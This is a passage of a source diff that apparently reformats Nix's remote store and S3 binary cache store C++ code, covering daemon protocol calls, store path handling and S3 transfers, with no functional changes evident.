(Error & e) { throw Error("cannot open connection to remote store '%s': %s", getUri(), e.what()); } setOptions(conn); } - void RemoteStore::setOptions(Connection & conn) { - conn.to << WorkerProto::Op::SetOptions - << settings.keepFailed - << settings.keepGoing - << settings.tryFallback - << verbosity - << settings.maxBuildJobs - << settings.maxSilentTime - << true - << (settings.verboseBuild ? lvlError : lvlVomit) - << 0 // obsolete log type - << 0 /* obsolete print build trace */ - << settings.buildCores - << settings.useSubstitutes; + conn.to << WorkerProto::Op::SetOptions << settings.keepFailed << settings.keepGoing << settings.tryFallback + << verbosity << settings.maxBuildJobs << settings.maxSilentTime << true + << (settings.verboseBuild ? lvlError : lvlVomit) << 0 // obsolete log type + << 0 /* obsolete print build trace */ + << settings.buildCores << settings.useSubstitutes; if (GET_PROTOCOL_MINOR(conn.protoVersion) >= 12) { std::map overrides; @@ -141,10 +129,10 @@ void RemoteStore::setOptions(Connection & conn) } auto ex = conn.processStderrReturn(); - if (ex) std::rethrow_exception(ex); + if (ex) + std::rethrow_exception(ex); } - RemoteStore::ConnectionHandle::~ConnectionHandle() { if (!daemonException && std::uncaught_exceptions()) { @@ -158,7 +146,6 @@ void RemoteStore::ConnectionHandle::processStderr(Sink * sink, Source * source, handle->processStderr(&daemonException, sink, source, flush, block); } - RemoteStore::ConnectionHandle RemoteStore::getConnection() { return ConnectionHandle(connections->get()); @@ -177,21 +164,20 @@ bool RemoteStore::isValidPathUncached(const StorePath & path) return readInt(conn->from); } - StorePathSet RemoteStore::queryValidPaths(const StorePathSet & paths, SubstituteFlag maybeSubstitute) { auto conn(getConnection()); if (GET_PROTOCOL_MINOR(conn->protoVersion) < 12) { StorePathSet res; for (auto & i : paths) - if (isValidPath(i)) res.insert(i); + if (isValidPath(i)) + res.insert(i); return res; } else { return conn->queryValidPaths(*this, &conn.daemonException, paths, maybeSubstitute); } } - StorePathSet RemoteStore::queryAllValidPaths() { auto conn(getConnection()); @@ -200,7 +186,6 @@ StorePathSet RemoteStore::queryAllValidPaths() return WorkerProto::Serialise::read(*this, *conn); } - StorePathSet RemoteStore::querySubstitutablePaths(const StorePathSet & paths) { auto conn(getConnection()); @@ -209,7 +194,8 @@ StorePathSet RemoteStore::querySubstitutablePaths(const StorePathSet & paths) for (auto & i : paths) { conn->to << WorkerProto::Op::HasSubstitutes << printStorePath(i); conn.processStderr(); - if (readInt(conn->from)) res.insert(i); + if (readInt(conn->from)) + res.insert(i); } return res; } else { @@ -220,10 +206,10 @@ StorePathSet RemoteStore::querySubstitutablePaths(const StorePathSet & paths) } } - void RemoteStore::querySubstitutablePathInfos(const StorePathCAMap & pathsMap, SubstitutablePathInfos & infos) { - if (pathsMap.empty()) return; + if (pathsMap.empty()) + return; auto conn(getConnection()); @@ -234,7 +220,8 @@ void RemoteStore::querySubstitutablePathInfos(const StorePathCAMap & pathsMap, S conn->to << WorkerProto::Op::QuerySubstitutablePathInfo << printStorePath(i.first); conn.processStderr(); unsigned int reply = readInt(conn->from); - if (reply == 0) continue; + if (reply == 0) + continue; auto deriver = readString(conn->from); if (deriver != "") info.deriver = parseStorePath(deriver); @@ -265,30 +252,26 @@ void RemoteStore::querySubstitutablePathInfos(const StorePathCAMap & pathsMap, S info.downloadSize = readLongLong(conn->from); info.narSize = readLongLong(conn->from); } - } } - -void RemoteStore::queryPathInfoUncached(const StorePath & path, - Callback> callback) noexcept +void RemoteStore::queryPathInfoUncached( + const StorePath & path, Callback> callback) noexcept { try { std::shared_ptr info; { auto conn(getConnection()); info = std::make_shared( - StorePath{path}, - conn->queryPathInfo(*this, &conn.daemonException, path)); - + StorePath{path}, conn->queryPathInfo(*this, &conn.daemonException, path)); } callback(std::move(info)); - } catch (...) { callback.rethrow(); } + } catch (...) { + callback.rethrow(); + } } - -void RemoteStore::queryReferrers(const StorePath & path, - StorePathSet & referrers) +void RemoteStore::queryReferrers(const StorePath & path, StorePathSet & referrers) { auto conn(getConnection()); conn->to << WorkerProto::Op::QueryReferrers << printStorePath(path); @@ -297,7 +280,6 @@ void RemoteStore::queryReferrers(const StorePath & path, referrers.insert(i); } - StorePathSet RemoteStore::queryValidDerivers(const StorePath & path) { auto conn(getConnection()); @@ -306,7 +288,6 @@ StorePathSet RemoteStore::queryValidDerivers(const StorePath & path) return WorkerProto::Serialise::read(*this, *conn); } - StorePathSet RemoteStore::queryDerivationOutputs(const StorePath & path) { if (GET_PROTOCOL_MINOR(getProtocol()) >= 0x16) { @@ -318,8 +299,8 @@ StorePathSet RemoteStore::queryDerivationOutputs(const StorePath & path) return WorkerProto::Serialise::read(*this, *conn); } - -std::map> RemoteStore::queryPartialDerivationOutputMap(const StorePath & path, Store * evalStore_) +std::map> +RemoteStore::queryPartialDerivationOutputMap(const StorePath & path, Store * evalStore_) { if (GET_PROTOCOL_MINOR(getProtocol()) >= 0x16) { if (!evalStore_) { @@ -358,28 +339,25 @@ std::optional RemoteStore::queryPathFromHashPart(const std::string & conn->to << WorkerProto::Op::QueryPathFromHashPart << hashPart; conn.processStderr(); Path path = readString(conn->from); - if (path.empty()) return {}; + if (path.empty()) + return {}; return parseStorePath(path); } - ref RemoteStore::addCAToStore( - Source & dump, - std::string_view name, - ContentAddressMethod caMethod, - HashAlgorithm hashAlgo, - const StorePathSet & references, - RepairFlag repair) + Source & dump, + std::string_view name, + ContentAddressMethod caMethod, + HashAlgorithm hashAlgo, + const StorePathSet & references, + RepairFlag repair) { std::optional conn_(getConnection()); auto & conn = *conn_; if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 25) { - conn->to - << WorkerProto::Op::AddToStore - << name - << caMethod.renderWithAlgo(hashAlgo); + conn->to << WorkerProto::Op::AddToStore << name << caMethod.renderWithAlgo(hashAlgo); WorkerProto::write(*this, *conn, references); conn->to << repair; @@ -387,66 +365,63 @@ ref RemoteStore::addCAToStore( connections->incCapacity(); { Finally cleanup([&]() { connections->decCapacity(); }); - conn.withFramedSink([&](Sink & sink) { - dump.drainInto(sink); - }); + conn.withFramedSink([&](Sink & sink) { dump.drainInto(sink); }); } - return make_ref( - WorkerProto::Serialise::read(*this, *conn)); - } - else { - if (repair) throw Error("repairing is not supported when building through the Nix daemon protocol < 1.25"); + return make_ref(WorkerProto::Serialise::read(*this, *conn)); + } else { + if (repair) + throw Error("repairing is not supported when building through the Nix daemon protocol < 1.25"); switch (caMethod.raw) { - case ContentAddressMethod::Raw::Text: - { - if (hashAlgo != HashAlgorithm::SHA256) - throw UnimplementedError("When adding text-hashed data called '%s', only SHA-256 is supported but '%s' was given", - name, printHashAlgo(hashAlgo)); - std::string s = dump.drain(); - conn->to << WorkerProto::Op::AddTextToStore << name << s; - WorkerProto::write(*this, *conn, references); - conn.processStderr(); - break; - } - case ContentAddressMethod::Raw::Flat: - case ContentAddressMethod::Raw::NixArchive: - case ContentAddressMethod::Raw::Git: - default: - { - auto fim = caMethod.getFileIngestionMethod(); - conn->to - << WorkerProto::Op::AddToStore - << name - << ((hashAlgo == HashAlgorithm::SHA256 && fim == FileIngestionMethod::NixArchive) ? 0 : 1) /* backwards compatibility hack */ - << (fim == FileIngestionMethod::NixArchive ? 1 : 0) - << printHashAlgo(hashAlgo); + case ContentAddressMethod::Raw::Text: { + if (hashAlgo != HashAlgorithm::SHA256) + throw UnimplementedError( + "When adding text-hashed data called '%s', only SHA-256 is supported but '%s' was given", + name, + printHashAlgo(hashAlgo)); + std::string s = dump.drain(); + conn->to << WorkerProto::Op::AddTextToStore << name << s; + WorkerProto::write(*this, *conn, references); + conn.processStderr(); + break; + } + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + default: { + auto fim = caMethod.getFileIngestionMethod(); + conn->to << WorkerProto::Op::AddToStore << name + << ((hashAlgo == HashAlgorithm::SHA256 && fim == FileIngestionMethod::NixArchive) + ? 0 + : 1) /* backwards compatibility hack */ + << (fim == FileIngestionMethod::NixArchive ? 1 : 0) << printHashAlgo(hashAlgo); - try { - conn->to.written = 0; - connections->incCapacity(); - { - Finally cleanup([&]() { connections->decCapacity(); }); - if (fim == FileIngestionMethod::NixArchive) { - dump.drainInto(conn->to); - } else { - std::string contents = dump.drain(); - dumpString(contents, conn->to); - } + try { + conn->to.written = 0; + connections->incCapacity(); + { + Finally cleanup([&]() { connections->decCapacity(); }); + if (fim == FileIngestionMethod::NixArchive) { + dump.drainInto(conn->to); + } else { + std::string contents = dump.drain(); + dumpString(contents, conn->to); } - conn.processStderr(); - } catch (SysError & e) { - /* Daemon closed while we were sending the path. Probably OOM - or I/O error. */ - if (e.errNo == EPIPE) - try { - conn.processStderr(); - } catch (EndOfFile & e) { } - throw; } - break; + conn.processStderr(); + } catch (SysError & e) { + /* Daemon closed while we were sending the path. Probably OOM + or I/O error. */ + if (e.errNo == EPIPE) + try { + conn.processStderr(); + } catch (EndOfFile & e) { + } + throw; } + break; + } } auto path = parseStorePath(readString(conn->from)); // Release our connection to prevent a deadlock in queryPathInfo(). @@ -455,7 +430,6 @@ ref RemoteStore::addCAToStore( } } - StorePath RemoteStore::addToStoreFromDump( Source & dump, std::string_view name, @@ -485,9 +459,7 @@ StorePath RemoteStore::addToStoreFromDump( return addCAToStore(dump, name, hashMethod, hashAlgo, references, repair)->path; } - -void RemoteStore::addToStore(const ValidPathInfo & info, Source & source, - RepairFlag repair, CheckSigsFlag checkSigs) +void RemoteStore::addToStore(const ValidPathInfo & info, Source & source, RepairFlag repair, CheckSigsFlag checkSigs) { auto conn(getConnection()); @@ -496,33 +468,25 @@ void RemoteStore::addToStore(const ValidPathInfo & info, Source & source, sink << 1 // == path follows ; copyNAR(source, sink); - sink - << exportMagic - << printStorePath(info.path); + sink << exportMagic << printStorePath(info.path); WorkerProto::write(*this, *conn, info.references); - sink - << (info.deriver ? printStorePath(*info.deriver) : "") - << 0 // == no legacy signature - << 0 // == no path follows + sink << (info.deriver ? printStorePath(*info.deriver) : "") << 0 // == no legacy signature + << 0 // == no path follows ; }); conn->importPaths(*this, &conn.daemonException, *source2); } else { - conn->to << WorkerProto::Op::AddToStoreNar - << printStorePath(info.path) + conn->to << WorkerProto::Op::AddToStoreNar << printStorePath(info.path) << (info.deriver ? printStorePath(*info.deriver) : "") << info.narHash.to_string(HashFormat::Base16, false); WorkerProto::write(*this, *conn, info.references); - conn->to << info.registrationTime << info.narSize - << info.ultimate << info.sigs << renderContentAddress(info.ca) + conn->to << info.registrationTime << info.narSize << info.ultimate << info.sigs << renderContentAddress(info.ca) << repair << !checkSigs; if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 23) { - conn.withFramedSink([&](Sink & sink) { - copyNAR(source, sink); - }); + conn.withFramedSink([&](Sink & sink) { copyNAR(source, sink); }); } else if (GET_PROTOCOL_MINOR(conn->protoVersion) >= 21) { conn.processStderr(0, &source); } else { @@ -532,12 +496,8 @@ void RemoteStore::addToStore(const ValidPathInfo & info, Source & source, } } - void RemoteStore::addMultipleToStore( - PathsSource && pathsToCopy, - Activity & act, - RepairFlag repair, - CheckSigsFlag checkSigs) + PathsSource && pathsToCopy, Activity & act, RepairFlag repair, CheckSigsFlag checkSigs) { // `addMultipleToStore` is single threaded size_t bytesExpected = 0; @@ -555,12 +515,13 @@ void RemoteStore::addMultipleToStore( act.progress(nrTotal - pathsToCopy.size(), nrTotal, size_t(1), size_t(0)); auto & [pathInfo, pathSource] = pathsToCopy.back(); - WorkerProto::Serialise::write(*this, - WorkerProto::WriteConn { - .to = sink, - .version = 16, - }, - pathInfo); + WorkerProto::Serialise::write( + *this, + WorkerProto::WriteConn{ + .to = sink, + .version = 16, + }, + pathInfo); pathSource->drainInto(sink); pathsToCopy.pop_back(); } @@ -569,25 +530,16 @@ void RemoteStore::addMultipleToStore( addMultipleToStore(*source, repair, checkSigs); } -void RemoteStore::addMultipleToStore( - Source & source, - RepairFlag repair, - CheckSigsFlag checkSigs) +void RemoteStore::addMultipleToStore(Source & source, RepairFlag repair, CheckSigsFlag checkSigs) { if (GET_PROTOCOL_MINOR(getConnection()->protoVersion) >= 32) { auto conn(getConnection()); - conn->to - << WorkerProto::Op::AddMultipleToStore - << repair - << !checkSigs; - conn.withFramedSink([&](Sink & sink) { - source.drainInto(sink); - }); + conn->to << WorkerProto::Op::AddMultipleToStore << repair << !checkSigs; + conn.withFramedSink([&](Sink & sink) { source.drainInto(sink); }); } else Store::addMultipleToStore(source, repair, checkSigs); } - void RemoteStore::registerDrvOutput(const Realisation & info) { auto conn(getConnection()); @@ -601,8 +553,8 @@ void RemoteStore::registerDrvOutput(const Realisation & info) conn.processStderr(); } -void RemoteStore::queryRealisationUncached(const DrvOutput & id, - Callback> callback) noexcept +void RemoteStore::queryRealisationUncached( + const DrvOutput & id, Callback> callback) noexcept { try { auto conn(getConnection()); @@ -618,14 +570,12 @@ void RemoteStore::queryRealisationUncached(const DrvOutput & id, auto real = [&]() -> std::shared_ptr { if (GET_PROTOCOL_MINOR(conn->protoVersion) < 31) { - auto outPaths = WorkerProto::Serialise>::read( - *this, *conn); + auto outPaths = WorkerProto::Serialise>::read(*this, *conn); if (outPaths.empty()) return nullptr; - return std::make_shared(Realisation { .id = id, .outPath = *outPaths.begin() }); + return std::make_shared(Realisation{.id = id, .outPath = *outPaths.begin()}); } else { - auto realisations = WorkerProto::Serialise>::read( - *this, *conn); + auto realisations = WorkerProto::Serialise>::read(*this, *conn); if (realisations.empty()) return nullptr; return std::make_shared(*realisations.begin()); @@ -633,32 +583,33 @@ void RemoteStore::queryRealisationUncached(const DrvOutput & id, }(); callback(std::shared_ptr(real)); - } catch (...) { return callback.rethrow(); } + } catch (...) { + return callback.rethrow(); + } } -void RemoteStore::copyDrvsFromEvalStore( - const std::vector & paths, - std::shared_ptr evalStore) +void RemoteStore::copyDrvsFromEvalStore(const std::vector & paths, std::shared_ptr evalStore) { if (evalStore && evalStore.get() != this) { /* The remote doesn't have a way to access evalStore, so copy the .drvs. */ RealisedPath::Set drvPaths2; for (const auto & i : paths) { - std::visit(overloaded { - [&](const DerivedPath::Opaque & bp) { - // Do nothing, path is hopefully there already + std::visit( + overloaded{ + [&](const DerivedPath::Opaque & bp) { + // Do nothing, path is hopefully there already + }, + [&](const DerivedPath::Built & bp) { drvPaths2.insert(bp.drvPath->getBaseStorePath()); }, }, - [&](const DerivedPath::Built & bp) { - drvPaths2.insert(bp.drvPath->getBaseStorePath()); - }, - }, i.raw()); + i.raw()); } copyClosure(*evalStore, *this, drvPaths2); } } -void RemoteStore::buildPaths(const std::vector & drvPaths, BuildMode buildMode, std::shared_ptr evalStore) +void RemoteStore::buildPaths( + const std::vector & drvPaths, BuildMode buildMode, std::shared_ptr evalStore) { copyDrvsFromEvalStore(drvPaths, evalStore); @@ -678,9 +629,7 @@ void RemoteStore::buildPaths(const std::vector & drvPaths, BuildMod } std::vector RemoteStore::buildPathsWithResults( - const std::vector & paths, - BuildMode buildMode, - std::shared_ptr evalStore) + const std::vector & paths, BuildMode buildMode, std::shared_ptr evalStore) { copyDrvsFromEvalStore(paths, evalStore); @@ -705,20 +654,19 @@ std::vector RemoteStore::buildPathsWithResults( for (auto & path : paths) { std::visit( - overloaded { + overloaded{ [&](const DerivedPath::Opaque & bo) { - results.push_back(KeyedBuildResult { - { - .status = BuildResult::Substituted, - }, - /* .path = */ bo, - }); + results.push_back( + KeyedBuildResult{ + { + .status = BuildResult::Substituted, + }, + /* .path = */ bo, + }); }, [&](const DerivedPath::Built & bfd) { - KeyedBuildResult res { - { - .status = BuildResult::Built - }, + KeyedBuildResult res{ + {.status = BuildResult::Built}, /* .path = */ bfd, }; @@ -732,18 +680,18 @@ std::vector RemoteStore::buildPathsWithResults( if (!outputHash) throw Error( "the derivation '%s' doesn't have an output named '%s'", - printStorePath(drvPath), output); - auto outputId = DrvOutput{ *outputHash, output }; + printStorePath(drvPath), + output); + auto outputId = DrvOutput{*outputHash, output}; if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { - auto realisation = - queryRealisation(outputId); + auto realisation = queryRealisation(outputId); if (!realisation) throw MissingRealisation(outputId); res.builtOutputs.emplace(output, *realisation); } else { res.builtOutputs.emplace( output, - Realisation { + Realisation{ .id = outputId, .outPath = outputPath, }); @@ -751,8 +699,7 @@ std::vector RemoteStore::buildPathsWithResults( } results.push_back(res); - } - }, + }}, path.raw()); } @@ -760,9 +707,7 @@ std::vector RemoteStore::buildPathsWithResults( } } - -BuildResult RemoteStore::buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, - BuildMode buildMode) +BuildResult RemoteStore::buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, BuildMode buildMode) { auto conn(getConnection()); conn->putBuildDerivationRequest(*this, &conn.daemonException, drvPath, drv, buildMode); @@ -770,7 +715,6 @@ BuildResult RemoteStore::buildDerivation(const StorePath & drvPath, const BasicD return WorkerProto::Serialise::read(*this, *conn); } - void RemoteStore::ensurePath(const StorePath & path) { auto conn(getConnection()); @@ -779,14 +723,12 @@ void RemoteStore::ensurePath(const StorePath & path) readInt(conn->from); } - void RemoteStore::addTempRoot(const StorePath & path) { auto conn(getConnection()); conn->addTempRoot(*this, &conn.daemonException, path); } - Roots RemoteStore::findRoots(bool censor) { auto conn(getConnection()); @@ -802,18 +744,16 @@ Roots RemoteStore::findRoots(bool censor) return result; } - void RemoteStore::collectGarbage(const GCOptions & options, GCResults & results) { auto conn(getConnection()); - conn->to - << WorkerProto::Op::CollectGarbage << options.action; + conn->to << WorkerProto::Op::CollectGarbage << options.action; WorkerProto::write(*this, *conn, options.pathsToDelete); conn->to << options.ignoreLiveness - << options.maxFreed - /* removed options */ - << 0 << 0 << 0; + << options.maxFreed + /* removed options */ + << 0 << 0 << 0; conn.processStderr(); @@ -827,7 +767,6 @@ void RemoteStore::collectGarbage(const GCOptions & options, GCResults & results) } } - void RemoteStore::optimiseStore() { auto conn(getConnection()); @@ -836,7 +775,6 @@ void RemoteStore::optimiseStore() readInt(conn->from); } - bool RemoteStore::verifyStore(bool checkContents, RepairFlag repair) { auto conn(getConnection()); @@ -845,7 +783,6 @@ bool RemoteStore::verifyStore(bool checkContents, RepairFlag repair) return readInt(conn->from); } - void RemoteStore::addSignatures(const StorePath & storePath, const StringSet & sigs) { auto conn(getConnection()); @@ -854,10 +791,13 @@ void RemoteStore::addSignatures(const StorePath & storePath, const StringSet & s readInt(conn->from); } - -void RemoteStore::queryMissing(const std::vector & targets, - StorePathSet & willBuild, StorePathSet & willSubstitute, StorePathSet & unknown, - uint64_t & downloadSize, uint64_t & narSize) +void RemoteStore::queryMissing( + const std::vector & targets, + StorePathSet & willBuild, + StorePathSet & willSubstitute, + StorePathSet & unknown, + uint64_t & downloadSize, + uint64_t & narSize) { { auto conn(getConnection()); @@ -875,37 +815,30 @@ void RemoteStore::queryMissing(const std::vector & targets, return; } - fallback: - return Store::queryMissing(targets, willBuild, willSubstitute, - unknown, downloadSize, narSize); +fallback: + return Store::queryMissing(targets, willBuild, willSubstitute, unknown, downloadSize, narSize); } - void RemoteStore::addBuildLog(const StorePath & drvPath, std::string_view log) { auto conn(getConnection()); conn->to << WorkerProto::Op::AddBuildLog << drvPath.to_string(); StringSource source(log); - conn.withFramedSink([&](Sink & sink) { - source.drainInto(sink); - }); + conn.withFramedSink([&](Sink & sink) { source.drainInto(sink); }); readInt(conn->from); } - std::optional RemoteStore::getVersion() { auto conn(getConnection()); return conn->daemonNixVersion; } - void RemoteStore::connect() { auto conn(getConnection()); } - unsigned int RemoteStore::getProtocol() { auto conn(connections->get()); @@ -926,9 +859,7 @@ void RemoteStore::flushBadConnections() void RemoteStore::narFromPath(const StorePath & path, Sink & sink) { auto conn(getConnection()); - conn->narFromPath(*this, &conn.daemonException, path, [&](Source & source) { - copyNAR(conn->from, sink); - }); + conn->narFromPath(*this, &conn.daemonException, path, [&](Source & source) { copyNAR(conn->from, sink); }); } ref RemoteStore::getFSAccessor(bool requireValidPath) diff --git a/src/libstore/s3-binary-cache-store.cc b/src/libstore/s3-binary-cache-store.cc index 26c21de44..b3bda4db4 100644 --- a/src/libstore/s3-binary-cache-store.cc +++ b/src/libstore/s3-binary-cache-store.cc @@ -2,32 +2,32 @@ #if NIX_WITH_S3_SUPPORT -#include +# include -#include "nix/store/s3.hh" -#include "nix/store/nar-info.hh" -#include "nix/store/nar-info-disk-cache.hh" -#include "nix/store/globals.hh" -#include "nix/util/compression.hh" -#include "nix/store/filetransfer.hh" -#include "nix/util/signals.hh" +# include "nix/store/s3.hh" +# include "nix/store/nar-info.hh" +# include "nix/store/nar-info-disk-cache.hh" +# include "nix/store/globals.hh" +# include "nix/util/compression.hh" +# include "nix/store/filetransfer.hh" +# include "nix/util/signals.hh" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include +# include +# include +# include +# include +# include +# include +# include +# include +# include +# include +# include +# include +# include +# include +# include +# include using namespace Aws::Transfer; @@ -38,8 +38,9 @@ struct S3Error : public Error Aws::S3::S3Errors err; template - S3Error(Aws::S3::S3Errors err, const Args & ... args) - : Error(args...), err(err) { }; + S3Error(Aws::S3::S3Errors err, const Args &... args) + : Error(args...) + , err(err){}; }; /* Helper: given an Outcome, return R in case of success, or @@ -50,11 +51,7 @@ R && checkAws(std::string_view s, Aws::Utils::Outcome && outcome) if (!outcome.IsSuccess()) throw S3Error( outcome.GetError().GetErrorType(), - fmt( - "%s: %s (request id: %s)", - s, - outcome.GetError().GetMessage(), - outcome.GetError().GetRequestId())); + fmt("%s: %s (request id: %s)", s, outcome.GetError().GetMessage(), outcome.GetError().GetRequestId())); return outcome.GetResultWithOwnership(); } @@ -67,9 +64,9 @@ class AwsLogger : public Aws::Utils::Logging::FormattedLogSystem debug("AWS: %s", chomp(statement)); } -#if !(AWS_SDK_VERSION_MAJOR <= 1 && AWS_SDK_VERSION_MINOR <= 7 && AWS_SDK_VERSION_PATCH <= 115) +# if !(AWS_SDK_VERSION_MAJOR <= 1 && AWS_SDK_VERSION_MINOR <= 7 && AWS_SDK_VERSION_PATCH <= 115) void Flush() override {} -#endif +# endif }; /* Retrieve the credentials from the list of AWS default providers, with the addition of the STS creds provider. This @@ -107,9 +104,7 @@ static void initAWS() if (verbosity >= lvlDebug) { options.loggingOptions.logLevel = - verbosity == lvlDebug - ? Aws::Utils::Logging::LogLevel::Debug - : Aws::Utils::Logging::LogLevel::Trace; + verbosity == lvlDebug ? Aws::Utils::Logging::LogLevel::Debug : Aws::Utils::Logging::LogLevel::Trace; options.loggingOptions.logger_create_fn = [options]() { return std::make_shared(options.loggingOptions.logLevel); }; @@ -120,32 +115,31 @@ static void initAWS() } S3Helper::S3Helper( - const std::string & profile, - const std::string & region, - const std::string & scheme, - const std::string & endpoint) + const std::string & profile, const std::string & region, const std::string & scheme, const std::string & endpoint) : config(makeConfig(region, scheme, endpoint)) - , client(make_ref( - std::make_shared(profile), - *config, -#if AWS_SDK_VERSION_MAJOR == 1 && AWS_SDK_VERSION_MINOR < 3 - false, -#else - Aws::Client::AWSAuthV4Signer::PayloadSigningPolicy::Never, -#endif - endpoint.empty())) + , client( + make_ref( + std::make_shared(profile), + *config, +# if AWS_SDK_VERSION_MAJOR == 1 && AWS_SDK_VERSION_MINOR < 3 + false, +# else + Aws::Client::AWSAuthV4Signer::PayloadSigningPolicy::Never, +# endif + endpoint.empty())) { } /* Log AWS retries. */ class RetryStrategy : public Aws::Client::DefaultRetryStrategy { - bool ShouldRetry(const Aws::Client::AWSError& error, long attemptedRetries) const override + bool ShouldRetry(const Aws::Client::AWSError & error, long attemptedRetries) const override { checkInterrupt(); auto retry = Aws::Client::DefaultRetryStrategy::ShouldRetry(error, attemptedRetries); if (retry) - printError("AWS error '%s' (%s; request id: %s), will retry in %d ms", + printError( + "AWS error '%s' (%s; request id: %s), will retry in %d ms", error.GetExceptionName(), error.GetMessage(), error.GetRequestId(), @@ -154,10 +148,8 @@ class RetryStrategy : public Aws::Client::DefaultRetryStrategy } }; -ref S3Helper::makeConfig( - const std::string & region, - const std::string & scheme, - const std::string & endpoint) +ref +S3Helper::makeConfig(const std::string & region, const std::string & scheme, const std::string & endpoint) { initAWS(); auto res = make_ref(); @@ -176,38 +168,30 @@ ref S3Helper::makeConfig( return res; } -S3Helper::FileTransferResult S3Helper::getObject( - const std::string & bucketName, const std::string & key) +S3Helper::FileTransferResult S3Helper::getObject(const std::string & bucketName, const std::string & key) { std::string uri = "s3://" + bucketName + "/" + key; - Activity act(*logger, lvlTalkative, actFileTransfer, - fmt("downloading '%s'", uri), - Logger::Fields{uri}, getCurActivity()); + Activity act( + *logger, lvlTalkative, actFileTransfer, fmt("downloading '%s'", uri), Logger::Fields{uri}, getCurActivity()); - auto request = - Aws::S3::Model::GetObjectRequest() - .WithBucket(bucketName) - .WithKey(key); + auto request = Aws::S3::Model::GetObjectRequest().WithBucket(bucketName).WithKey(key); - request.SetResponseStreamFactory([&]() { - return Aws::New("STRINGSTREAM"); - }); + request.SetResponseStreamFactory([&]() { return Aws::New("STRINGSTREAM"); }); size_t bytesDone = 0; size_t bytesExpected = 0; - request.SetDataReceivedEventHandler([&](const Aws::Http::HttpRequest * req, Aws::Http::HttpResponse * resp, long long l) { - if (!bytesExpected && resp->HasHeader("Content-Length")) { - if (auto length = string2Int(resp->GetHeader("Content-Length"))) { - bytesExpected = *length; + request.SetDataReceivedEventHandler( + [&](const Aws::Http::HttpRequest * req, Aws::Http::HttpResponse * resp, long long l) { + if (!bytesExpected && resp->HasHeader("Content-Length")) { + if (auto length = string2Int(resp->GetHeader("Content-Length"))) { + bytesExpected = *length; + } } - } - bytesDone += l; - act.progress(bytesDone, bytesExpected); - }); + bytesDone += l; + act.progress(bytesDone, bytesExpected); + }); - request.SetContinueRequestHandler([](const Aws::Http::HttpRequest*) { - return !isInterrupted(); - }); + request.SetContinueRequestHandler([](const Aws::Http::HttpRequest *) { return !isInterrupted(); }); FileTransferResult res; @@ -215,17 +199,15 @@ S3Helper::FileTransferResult S3Helper::getObject( try { - auto result = checkAws(fmt("AWS error fetching '%s'", key), - client->GetObject(request)); + auto result = checkAws(fmt("AWS error fetching '%s'", key), client->GetObject(request)); act.progress(result.GetContentLength(), result.GetContentLength()); - res.data = decompress(result.GetContentEncoding(), - dynamic_cast(result.GetBody()).str()); + res.data = decompress(result.GetContentEncoding(), dynamic_cast(result.GetBody()).str()); } catch (S3Error & e) { - if ((e.err != Aws::S3::S3Errors::NO_SUCH_KEY) && - (e.err != Aws::S3::S3Errors::ACCESS_DENIED)) throw; + if ((e.err != Aws::S3::S3Errors::NO_SUCH_KEY) && (e.err != Aws::S3::S3Errors::ACCESS_DENIED)) + throw; } auto now2 = std::chrono::steady_clock::now(); @@ -238,13 +220,11 @@ S3Helper::FileTransferResult S3Helper::getObject( S3BinaryCacheStore::S3BinaryCacheStore(const Params & params) : BinaryCacheStoreConfig(params) , BinaryCacheStore(params) -{ } - +{ +} S3BinaryCacheStoreConfig::S3BinaryCacheStoreConfig( - std::string_view uriScheme, - std::string_view bucketName, - const Params & params) + std::string_view uriScheme, std::string_view bucketName, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) , bucketName(bucketName) @@ -261,21 +241,17 @@ S3BinaryCacheStoreConfig::S3BinaryCacheStoreConfig( std::string S3BinaryCacheStoreConfig::doc() { return - #include "s3-binary-cache-store.md" - ; +# include "s3-binary-cache-store.md" + ; } - struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual S3BinaryCacheStore { Stats stats; S3Helper s3Helper; - S3BinaryCacheStoreImpl( - std::string_view uriScheme, - std::string_view bucketName, - const Params & params) + S3BinaryCacheStoreImpl(std::string_view uriScheme, std::string_view bucketName, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) , S3BinaryCacheStoreConfig(uriScheme, bucketName, params) @@ -326,10 +302,8 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual { stats.head++; - auto res = s3Helper.client->HeadObject( - Aws::S3::Model::HeadObjectRequest() - .WithBucket(bucketName) - .WithKey(path)); + auto res = + s3Helper.client->HeadObject(Aws::S3::Model::HeadObjectRequest().WithBucket(bucketName).WithKey(path)); if (!res.IsSuccess()) { auto & error = res.GetError(); @@ -364,29 +338,31 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual cv.wait(lk); } - AsyncContext(const Activity & act) : act(act) {} + AsyncContext(const Activity & act) + : act(act) + { + } }; - void uploadFile(const std::string & path, + void uploadFile( + const std::string & path, std::shared_ptr> istream, const std::string & mimeType, const std::string & contentEncoding) { std::string uri = "s3://" + bucketName + "/" + path; - Activity act(*logger, lvlTalkative, actFileTransfer, - fmt("uploading '%s'", uri), - Logger::Fields{uri}, getCurActivity()); + Activity act( + *logger, lvlTalkative, actFileTransfer, fmt("uploading '%s'", uri), Logger::Fields{uri}, getCurActivity()); istream->seekg(0, istream->end); auto size = istream->tellg(); istream->seekg(0, istream->beg); auto maxThreads = std::thread::hardware_concurrency(); - static std::shared_ptr - executor = std::make_shared(maxThreads); + static std::shared_ptr executor = + std::make_shared(maxThreads); - std::call_once(transferManagerCreated, [&]() - { + std::call_once(transferManagerCreated, [&]() { if (multipartUpload) { TransferManagerConfiguration transferConfig(executor.get()); @@ -395,8 +371,7 @@ struct S3BinaryCacheStoreImpl : virtual S3BinaryCacheStoreConfig, public virtual transferConfig.uploadProgressCallback = [](const TransferManager * transferManager, - const std::shared_ptr & transferHandle) - { + const std::shared_ptr & transferHandle) { auto context = std::dynamic_pointer_cast(transferHandle->GetContext()); size_t bytesDone = transferHandle->GetBytesTransferred(); size_t bytesTotal = transferHandle->GetBytesTotalSize(); @@ -409,8 +384,7 